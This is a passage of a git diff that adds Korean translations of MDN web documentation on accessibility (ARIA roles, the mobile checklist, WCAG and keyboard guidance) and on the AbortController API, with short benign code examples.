+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Section_Role">section</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Sectionhead_Role">sectionhead</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Select_Role">select</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Separator_Role">separator</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Slider_Role">Slider</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Spinbutton_Role">Spinbutton</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Status_Role">Status</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Structure_Role">structure</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tab_role">tab</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tablist_Role">tablist</a> (Michiel)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tabpanel_Role">Tabpanel</a> (Michiel)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Term_Role">term</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Time_Role">Timer</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Toolbar_Role">toolbar</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tooltip_Role">Tooltip</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tree_Role">Tree</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Treegrid_Role">treegrid</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Treeitem_Role">Treeitem</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Widget_Role">widget</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Window_Role">window</a></li>
+</ul>
+</div>
diff --git a/files/ko/web/accessibility/index.html b/files/ko/web/accessibility/index.html
new file mode 100644
index 0000000000..9faf5ccaa5
--- /dev/null
+++ b/files/ko/web/accessibility/index.html
@@ -0,0 +1,49 @@
+---
+title: 접근성
+slug: Web/Accessibility
+tags:
+  - Accessibility
+  - 접근성
+translation_of: Web/Accessibility
+---
+<p><span class="seoSummary">웹 개발에서의 접근성은 사람들의 능력이 어느정도 제한되어 있더라도 가능한 많은 사람들이 웹사이트를 사용 할 수 있도록 하는것 입니다. 여기서 우리는 접근할 수 있는 콘텐츠 개발에 관한 정보를 제공 합니다.</span></p>
+
+<p>"접근성은 장애인을 돕기 위한 '휠체어접근' 과 같은 시설이나 편의 시설을 설명하는 데 가장 많이 사용됩니다. 이것은 점저 감판, 휠체어 경사로, 보행자 교차점에서의 오디오 신호등, 보행로 등고선, 웹 사이트 디자인 등으로 확장될 수 있습니다." <a class="external" href="http://en.wikipedia.org/wiki/Accessibility">Wikipedia entry for Accessibility</a></p>
+
+<p>"그들의 하드웨어, 소프트웨어, 언어, 문화, 위치 또는 신체적 혹은 정신적 능력이 무엇이든지 간에, 웹은 근본적으로 모든 사람들을 위해 일하도록 설계되어 있습니다. 웹이 이 목표를 달성할 때, 다양한 범위의 청각, 움직임, 시각, 인지 능력을 가진 사람들에게 접근할 수 있습니다." <a href="http://www.w3.org/standards/webdesign/accessibility" title="http://www.w3.org/standards/webdesign/accessibility">W3C - Accessibility</a></p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Documentation</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Accessibility/Web_Development" title="Accessibility Web Development">Web development</a></dt>
+ <dd>접근성 세계에서 웹 개발 문제를 강조하기 위해 지정된 문서 모음 입니다.</dd>
+ <dt><a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a></dt>
+ <dd>HTML문서를 좀 더 쉽게 접근 할 수 있는 방법을 배우기 위해 사용할 수 있는 문서 모음 입니다.</dd>
+ <dt><a href="/en-US/docs/Accessibility/AT_Development" title="AT Development">Assistive technology (AT) development</a></dt>
+ <dd>AT 개발자를 위한 기사 모음 입니다.</dd>
+ <dt><a href="/en-US/docs/Web/Accessibility/Mobile_accessibility_checklist">Mobile accessibility checklist</a></dt>
+ <dd>모바일 앱 개발자에 대한 접근성 요구 사항을 간략하게 확인할 수 있는 문서 모음 입니다.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Accessibility" title="/en-US/docs/tag/Accessibility">View all articles about Accessibility...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Tools" id="Tools" name="Tools">웹 개발자들을 위한 도구</h2>
+
+<ul>
+ <li><a class="external" href="http://www.standards-schmandards.com/projects/fangs/">Fangs screen reader emulator</a></li>
+ <li><a class="external" href="https://addons.mozilla.org/firefox/addon/claws/">Claws screen reader emulator</a></li>
+</ul>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Accessibility:Tools" title="en-US/docs/tag/Accessibility:Tools">View All...</a></span></p>
+
+<h2 class="Tools" id="Tools" name="Tools">기타 유용한 사이트</h2>
+
+<ul>
+ <li><a class="external" href="https://support.mozilla.org/kb/accessibility-features-firefox-make-firefox-and-we">Screen reader list</a></li>
+</ul>
+</div>
+</div>
diff --git a/files/ko/web/accessibility/mobile_accessibility_checklist/index.html b/files/ko/web/accessibility/mobile_accessibility_checklist/index.html
new file mode 100644
index 0000000000..6a9a73cdbe
--- /dev/null
+++ b/files/ko/web/accessibility/mobile_accessibility_checklist/index.html
@@ -0,0 +1,106 @@
+---
+title: 모바일 접근성 점검항목
+slug: Web/Accessibility/Mobile_accessibility_checklist
+translation_of: Web/Accessibility/Mobile_accessibility_checklist
+---
+<div class="summary">
+<p>이 문서는 모바일 앱 개발자를 위한 접근성 요구 사항에 대한 간결한 체크리스트를 제공한다. 더 많은 패턴이 발생할수록 지속적으로 진화하려는 의도다.</p>
+</div>
+
+<h2 id="색">색</h2>
+
+<ul>
+ <li>색상 대비는 반드시 WCAG 2.0 AA 레벨 요건을 준수해야 한다:
+  <ul>
+   <li>일반적인 크기의 텍스트(18pt 보다 작거나 14pt 볼드체)는 4.5:1</li>
+   <li>큰 크기의 텍스트(적어도 18pt 보다 크거나 14pt 볼드체)는 3 :1</li>
+  </ul>
+ </li>
+ <li>색상을 통해 전달되는 정보는 반드시 다른 수단으로도 제공되어야 한다(링크 등에 대한 밑줄 텍스트).</li>
+</ul>
+
+<h2 id="가시성">  가시성</h2>
+
+<ul>
+ <li>opacity:0, z-index 깊이 조정 및 화면 밖 배치와 같은 콘텐츠 숨기기 기법은 단순히 가시성을 처리하기 위해서만 사용되어서는 안 된다.</li>
+ <li>
+  <p>현재 가시화된 화면 이외의 모든 것은 반드시 진정으로 보이지 않아야 한다(특히 여러 개의 카드가 있는 단일 페이지 앱에 관련됨).</p>
+
+  <ul>
+   <li><code>hidden</code> 속성 또는 <code>visibility</code> 또는 <code>display</code> 스타일 속성값을 <strong>이용</strong>해야 한다.</li>
+   <li>불가피한 경우를 제외 하고 <code>aria-hidden</code> <strong>속성을 사용해서는 안된다.</strong></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="초점">초점</h2>
+
+<ul>
+ <li>
+  <p>모든 활성화 가능한 요소는 <strong>초점 가능해야 한다.</strong></p>
+
+  <ul>
+   <li>
+    <p>링크, 버튼 및 양식 필드와 같은 표준 control들는 기본적으로 초점을 맞출 수 있다.</p>
+   </li>
+   <li>
+    <p>비표준 control들은 반드시 버튼, 링크 또는 체크박스와 같은 적절한  <a href="http://www.w3.org/TR/wai-aria/roles">ARIA Role</a>  역할이 할당되어야 한다.</p>
+   </li>
+  </ul>
+
+  <p>초점은 논리적이고 일관된 방식으로 다루어야 한다.</p>
+ </li>
+</ul>
+
+<h2 id="텍스트_동등성">텍스트 동등성</h2>
+
+<ul>
+ <li>
+  <p>앱 내 모든 엄격하지 않은 현재 텍스트 요소에 대해 동일한 의미의 텍스트가 제공되어야 한다.</p>
+
+  <ul>
+   <li><em>alt 와</em> <em>title 속성은 적절하게 사용되어야 한다.</em>  ( 스티브 폴크너의 <a href="http://blog.paciellogroup.com/2013/01/using-the-html-title-attribute-updated/">Using the HTML title attribute</a> 위한 좋은 가이드 보기.)</li>
+   <li>위 속성을 사용하기 어려운 경우  <code>aria-label</code>, <code>aria-labelledby</code>, or <code>aria-describedby 등과 같은 </code><a href="http://www.w3.org/WAI/PF/aria/states_and_properties#global_states_header">ARIA Properties</a> 를 사용하세요</li>
+  </ul>
+ </li>
+ <li>텍스트 이미지 사용은 가급적 자제 해야 한다.</li>
+ <li>모든  form 콘트롤 요소는 스크린 리더 사용자를 위해 lable 요소를 가져야 한다. </li>
+</ul>
+
+<h2 id="처리_상태">처리 상태</h2>
+
+<ul>
+ <li>
+  <p>라디오 버튼 및 체크박스와 같은 표준 제어장치는 운영체제가 취급한다. 그러나 다른 사용자 정의 제어의 경우, <code>aria-checked</code>, <code>aria-disabled</code>, <code>aria-selected</code>, <code>aria-expanded</code>, and <code>aria-pressed</code>과 같은 <a href="http://www.w3.org/TR/wai-aria/states_and_properties#attrs_widgets_header">ARIA States</a>를 통해 상태 변경이 제공되어야 한다.</p>
+ </li>
+</ul>
+
+<h2 id="방향">방향</h2>
+
+<ul>
+ <li>콘텐츠는 특수한 경우를 제외하고 가로 또는 세로 방향등 단일 방향으로 제한해서는 안된다. <a href="https://www.w3.org/WAI/WCAG21/Understanding/orientation.html">WCAG 2.1: Orientation</a>
+
+  <ul>
+   <li>특수한 경우는 피아노 앱이나 은행 수표 앱 같은 경우가 있다.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="General_Guidelines">General Guidelines</h2>
+
+<ul>
+ <li>An app title <strong>MUST</strong> be provided.</li>
+ <li>Headings <strong>MUST</strong> not break hierarchical structure
+  <pre class="brush: html">&lt;h1&gt;Top level heading&lt;/h1&gt;
+  &lt;h2&gt;Secondary heading&lt;/h2&gt;
+  &lt;h2&gt;Another secondary heading&lt;/h2&gt;
+    &lt;h3&gt;Low level heading&lt;/h3&gt;</pre>
+ </li>
+ <li><a href="http://www.w3.org/TR/wai-aria/roles#landmark_roles_header">ARIA Landmark Roles</a> <strong>SHOULD</strong> be used to describe an app or document structure, such as <code>banner</code>, <code>complementary</code>, <code>contentinfo</code>, <code>main</code>, <code>navigation</code>, <code>search</code>.</li>
+ <li>Touch event handlers <strong>MUST</strong> only be triggered on the <code>touchend</code> event.</li>
+ <li>Touch targets <strong>MUST</strong> be large enough for the user to interact with (see the <a href="http://www.bbc.co.uk/guidelines/futuremedia/accessibility/mobile/design/touch-target-size">BBC Mobile Accessibility Guidelines</a> for useful touch target size guidelines).</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: The <a href="http://yzen.github.io/firefoxos/2014/04/30/mobile-accessibility-checklist.html">original version of this document</a> was written by <a href="http://yzen.github.io/">Yura Zenevich</a>.</p>
+</div>
diff --git a/files/ko/web/accessibility/understanding_wcag/index.html b/files/ko/web/accessibility/understanding_wcag/index.html
new file mode 100644
index 0000000000..fe71b20ebc
--- /dev/null
+++ b/files/ko/web/accessibility/understanding_wcag/index.html
@@ -0,0 +1,59 @@
+---
+title: Understanding the Web Content Accessibility Guidelines
+slug: Web/Accessibility/Understanding_WCAG
+tags:
+  - NeedsTranslation
+  - TopicStub
+  - WCAG
+  - Web Content Accessibility Guidelines
+translation_of: Web/Accessibility/Understanding_WCAG
+---
+<p class="summary">This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 or 2.1 (or just WCAG, for the purposes of this writing).</p>
+
+<p>The WCAG 2.0 and 2.1 provide a detailed set of guidelines for making web content more accessible to people with a wide variety of disabilities. It is comprehensive but incredibly detailed, and quite difficult to gain a rapid understanding of. For this reason, we have summarised the practical steps you need to take to satisfy the different recommendations, with further links to more details where required.</p>
+
+<h2 id="The_four_principles">The four principles</h2>
+
+<p>WCAG is broadly broken down into four principles — major things that web content <strong>must be</strong> to be considered accessible (see <a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/intro.html#introduction-fourprincs-head">Understanding the Four Principles of Accessibility </a>for the WCAG definitions).</p>
+
+<p>Each of the links below will take you to pages that further expand on these areas, giving you practical advice on how to write your web content so it conforms to the success criteria outlined in each of the WCAG 2.0 and 2.1 guidelines that further sub-divides each principle.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Perceivable">Perceivable:</a> Users must be able to perceive it in some way, using one or more of their senses.</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Operable">Operable</a>: Users must be able to control UI elements (e.g. buttons must be clickable in some way — mouse, keyboard, voice command, etc.).</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Understandable">Understandable</a>: The content must be understandable to its users.</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Robust">Robust</a>: The content must be developed using well-adopted web standards that will work across different browsers, now and in the future.</li>
+</ul>
+
+<h2 id="Should_I_use_WCAG_2.0_or_2.1">Should I use WCAG 2.0 or 2.1?</h2>
+
+<p>WCAG 2.1 is the most recent and relevant accessibility standard. Use WCAG 2.1 to help more people with disabilities and reduce the future legal risk for web site owners. Target WCAG 2.0 first when allocating resources. Then step up to WCAG 2.1. </p>
+
+<h3 id="What_is_WCAG_2.1">What is WCAG 2.1?</h3>
+
+<p>WCAG 2.1 was published as an official recommendation on 05 June 2018. The European Union (EU) adopted WCAG 2.1 as the digital accessibility standard in September 2018. W3C published a press release <a href="https://www.w3.org/blog/2018/09/wcag-2-1-adoption-in-europe/">WCAG 2.1 Adoption in Europe</a>. </p>
+
+<p>WCAG 2.1 includes:</p>
+
+<ul>
+ <li>all of WCAG 2.0 (verbatim, word-for-word)</li>
+ <li>17 new Success Criteria at the A / AA / AAA levels primarily addressing user needs in these areas:
+  <ul>
+   <li>Mobile Accessibility </li>
+   <li>Low Vision</li>
+   <li>Cognitive</li>
+  </ul>
+ </li>
+ <li>Read more about WCAG 2.1:
+  <ul>
+   <li>Deque: <a href="https://www.deque.com/blog/wcag-2-1-what-is-next-for-accessibility-guidelines/">WCAG 2.1:  What is Next for Accessibility Guidelines</a></li>
+   <li>TPG:  <a href="https://developer.paciellogroup.com/blog/2018/06/web-content-accessibility-guidelines-wcag-2-1/">Web Content Accessibility Guidelines (WCAG) 2.1</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Legal_standing">Legal standing</h2>
+
+<p>This guide is intended to provide practical information to help you build better, more accessible websites. However, we are not lawyers, and none of this constitutes legal advice. If you are worried about the legal implications of web accessibility, we'd recommend that you check the specific legislation governing accessibility for the web/public resources in your country or locale, and seek the advice of a qualified lawyer.</p>
+
+<p><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a> and particularity the <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_guidelines_and_the_law">Accessibility guidelines and the law</a> section provide more related information.</p>
diff --git a/files/ko/web/accessibility/understanding_wcag/keyboard/index.html b/files/ko/web/accessibility/understanding_wcag/keyboard/index.html
new file mode 100644
index 0000000000..32705d664f
--- /dev/null
+++ b/files/ko/web/accessibility/understanding_wcag/keyboard/index.html
@@ -0,0 +1,87 @@
+---
+title: Keyboard
+slug: Web/Accessibility/Understanding_WCAG/Keyboard
+translation_of: Web/Accessibility/Understanding_WCAG/Keyboard
+---
+<div>To be fully accessible, a web page must be operable by someone using only a keyboard to access and control it. This includes users of screen readers, but can also include users who have trouble operating a pointing device such as a mouse or trackball, or whose mouse is not working at the moment, or who simply prefer to use a keyboard for input whenever possible.</div>
+
+<h2 id="Focusable_elements_should_have_interactive_semantics">Focusable elements should have interactive semantics</h2>
+
+<p>If an element can be focused using the keyboard, then it should be interactive; that is, the user should be able to do something to it and produce a change of some kind (for example, activating a link or changing an option).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> One important exception to this rule is if the element has <code>role="document" </code>applied to it, <strong>inside </strong>an interactive context (such as <code>role="application"</code>). In such a case, focusing the nested document is the only way of returning assistive technology to a non-interactive state (often called "browse mode").</p>
+</div>
+
+<p>Most interactive elements are focusable by default; you can make an element focusable by adding a <code>tabindex=0</code> attribute value to it. However, you should only add <code>tabindex</code> if you have also made the element interactive, for example, by defining appropriate event handlers keyboard events.</p>
+
+<h3 id="See_also">See also</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li>
+</ul>
+
+<h2 id="Avoid_using_tabindex_attribute_greater_than_zero">Avoid using <code>tabindex</code> attribute greater than zero</h2>
+
+<p>The <code>tabindex</code> attribute indicates that an element is focusable using the keyboard. A value of zero indicates that the element is part of the default focus order, which is based on the ordering of elements in the HTML document. A positive value puts the element ahead of those in the default ordering; elements with positive values are focused in the order of their <code>tabindex</code> values (1, then 2, then 3, etc.).</p>
+
+<p>This creates confusion for keyboard-only users when the focus order differs from the logical order of the page. A better strategy is to structure the HTML document so that focusable elements are in a logical order, without the need to re-order them with positive <code>tabindex</code> values.</p>
+
+<h3 id="See_also_2">See also</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/focus-order.html">Understanding focus order</a></li>
+ <li><a href="http://adrianroselli.com/2014/11/dont-use-tabindex-greater-than-0.html">Don't use tabindex greater than 0</a></li>
+</ul>
+
+<h2 id="Clickable_elements_must_be_focusable_and_should_have_interactive_semantics">Clickable elements must be focusable and should have interactive semantics</h2>
+
+<p>If an element can be clicked with a pointing device, such as a mouse, then it should also be focusable using the keyboard, and the user should be able to do something by interacting with it.</p>
+
+<p>An element is clickable if it has an <code>onclick</code> event handler defined. You can make it focusable by adding a <code>tabindex=0</code> attribute value to it. You can make it operable with the keyboard by defining an <code>onkeydown</code> event handler; in most cases, the action taken by event handler should be the same for both types of events.</p>
+
+<h3 id="See_also_3">See also</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li>
+</ul>
+
+<h2 id="Interactive_elements_must_be_able_to_be_activated_using_a_keyboard">Interactive elements must be able to be activated using a keyboard</h2>
+
+<p>If the user can interact with an element using touch or a pointing device, then the element should also support interacting using the keyboard. That is, if you have defined event handlers for touch or click events, you should also define them for keyboard events. The keyboard event handlers should enable the effectively the same interaction as the touch or click handlers.</p>
+
+<h3 id="See_also_4">See also</h3>
+
+<ul>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li>
+</ul>
+
+<h2 id="Interactive_elements_must_be_focusable">Interactive elements must be focusable</h2>
+
+<p>If the user can interact with an element (for example, using touch or a pointing device), then it should be focusable using the keyboard. You can make it focusable by adding a <code>tabindex=0</code> attribute value to it. That will add the element to the list of elements that can be focused by pressing the <kbd>Tab</kbd> key, in the sequence of such elements as defined in the HTML document.</p>
+
+<h3 id="See_also_5">See also</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li>
+</ul>
+
+<h2 id="Focusable_element_must_have_focus_styling">Focusable element must have focus styling</h2>
+
+<p>Any element that can receive keyboard focus should have visible styling that indicates when the element is focused. You can do this with the <code><a href="/en-US/docs/Web/CSS/:focus">:focus</a></code> CSS pseudo-class.</p>
+
+<p>Standard focusable elements such as links and input fields are given special styling by the browser by default, so you might not need to specify focus styling for such elements, unless you want the focus styling to be more distinctive.</p>
+
+<p>If you create your own focusable components, be sure that you also define focus styling for them.</p>
+
+<h3 id="See_also_6">See also</h3>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Techniques/css/C15.html">Using CSS to change the presentation of a UI component when it receives focus</a></li>
+</ul>
diff --git a/files/ko/web/api/abortcontroller/abort/index.html b/files/ko/web/api/abortcontroller/abort/index.html
new file mode 100644
index 0000000000..bd8de71f00
--- /dev/null
+++ b/files/ko/web/api/abortcontroller/abort/index.html
@@ -0,0 +1,93 @@
+---
+title: AbortController.abort()
+slug: Web/API/AbortController/abort
+tags:
+  - API
+  - AbortController
+  - Fetch
+  - abort()
+  - 레퍼런스
+  - 메소드
+  - 실험적
+translation_of: Web/API/AbortController/abort
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>{{domxref("AbortController")}} 인터페이스의 <strong><code>abort()</code></strong> 메소드는 DOM 요청(Fetch 요청과 같은)이 완료되기 전에 취소한다. 이를 통해 <a href="/ko/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch 요청</a>, 모든 응답 {{domxref("Body")}} 소비, 스트림을 취소할 수 있다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">controller.abort();</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<p>없음.</p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>Void.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 스니펫에서는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/Fetch_API">Fetch API</a>를 사용해 비디오를 다운로드하는 것을 목표로 한다.</p>
+
+<p>먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.</p>
+
+<p><a href="/ko/docs/Web/API/WindowOrWorkerGlobalScope/fetch">Fetch 요청</a>을 시작할 때, 요청의 옵션 객체 내부에 <code>AbortSignal</code> 옵션을 전달한다(아래의 <code>{signal}</code> 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>노트</strong>: <code>abort()</code>가 호출되면, <code>fetch()</code> promise는 <code dir="ltr">AbortError</code>과 함께 reject된다.</p>
+</div>
+
+<p>동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> 참고(<a href="https://mdn.github.io/dom-examples/abort-api/">라이브 실행도 확인할 수 있다</a>).</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortcontroller-abort', 'abort()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.AbortController.abort")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ko/web/api/abortcontroller/abortcontroller/index.html b/files/ko/web/api/abortcontroller/abortcontroller/index.html
new file mode 100644
index 0000000000..caa2355924
--- /dev/null
+++ b/files/ko/web/api/abortcontroller/abortcontroller/index.html
@@ -0,0 +1,88 @@
+---
+title: AbortController.AbortController()
+slug: Web/API/AbortController/AbortController
+tags:
+  - API
+  - AbortController
+  - Fetch
+  - 레퍼런스
+  - 생성자
+  - 실험적
+translation_of: Web/API/AbortController/AbortController
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>AbortController()</code></strong> 생성자는 새로운 <code>AbortController</code> 객체 인터페이스를 생성한다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">var controller = new AbortController();</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<p>없음.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 스니펫에서는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/Fetch_API">Fetch API</a>를 사용해 비디오를 다운로드하는 것을 목표로 한다.</p>
+
+<p>먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.</p>
+
+<p><a href="/ko/docs/Web/API/WindowOrWorkerGlobalScope/fetch">Fetch 요청</a>을 시작할 때, 요청의 옵션 객체 내부에 <code>AbortSignal</code> 옵션을 전달한다(아래의 <code>{signal}</code> 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>노트</strong>: <code>abort()</code>가 호출되면, <code>fetch()</code> promise는 <code dir="ltr">AbortError</code>과 함께 reject된다.</p>
+</div>
+
+<p>동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> 참고(<a href="https://mdn.github.io/dom-examples/abort-api/">라이브 실행도 확인할 수 있다</a>).</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortcontroller-abortcontroller', 'AbortController()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.AbortController.AbortController")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ko/web/api/abortcontroller/index.html b/files/ko/web/api/abortcontroller/index.html
new file mode 100644
index 0000000000..4d3b92e09b
--- /dev/null
+++ b/files/ko/web/api/abortcontroller/index.html
@@ -0,0 +1,103 @@
+---
+title: AbortController
+slug: Web/API/AbortController
+tags:
+  - API
+  - AbortController
+  - 레퍼런스
+  - 실험적
+  - 인터페이스
+translation_of: Web/API/AbortController
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>AbortController</code></strong> 인터페이스는 하나 이상의 웹 요청을 취소할 수 있게 해준다.</p>
+
+<p>{{domxref("AbortController.AbortController()")}} 생성자를 사용해 새로운 <code>AbortController</code> 를 생성한다. {{domxref("AbortSignal")}} 객체를 사용해 DOM 요청과의 통신이 완료된다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("AbortController()")}}</dt>
+ <dd>새로운 <code>AbortController</code> 객체 인터페이스를 생성한다.</dd>
+</dl>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<dl>
+ <dt>{{domxref("AbortController.signal")}} {{readonlyInline}}</dt>
+ <dd>DOM 요청과 통신하거나 취소하는데 사용되는 {{domxref("AbortSignal")}} 객체 인터페이스를 반환한다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("AbortController.abort()")}}</dt>
+ <dd>DOM 요청이 완료되기 전에 취소한다. 이를 통해 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch 요청</a>, 모든 응답 {{domxref("Body")}} 소비, 스트림을 취소할 수 있다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 스니펫에서는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/Fetch_API">Fetch API</a>를 사용해 비디오를 다운로드하는 것을 목표로 한다.</p>
+
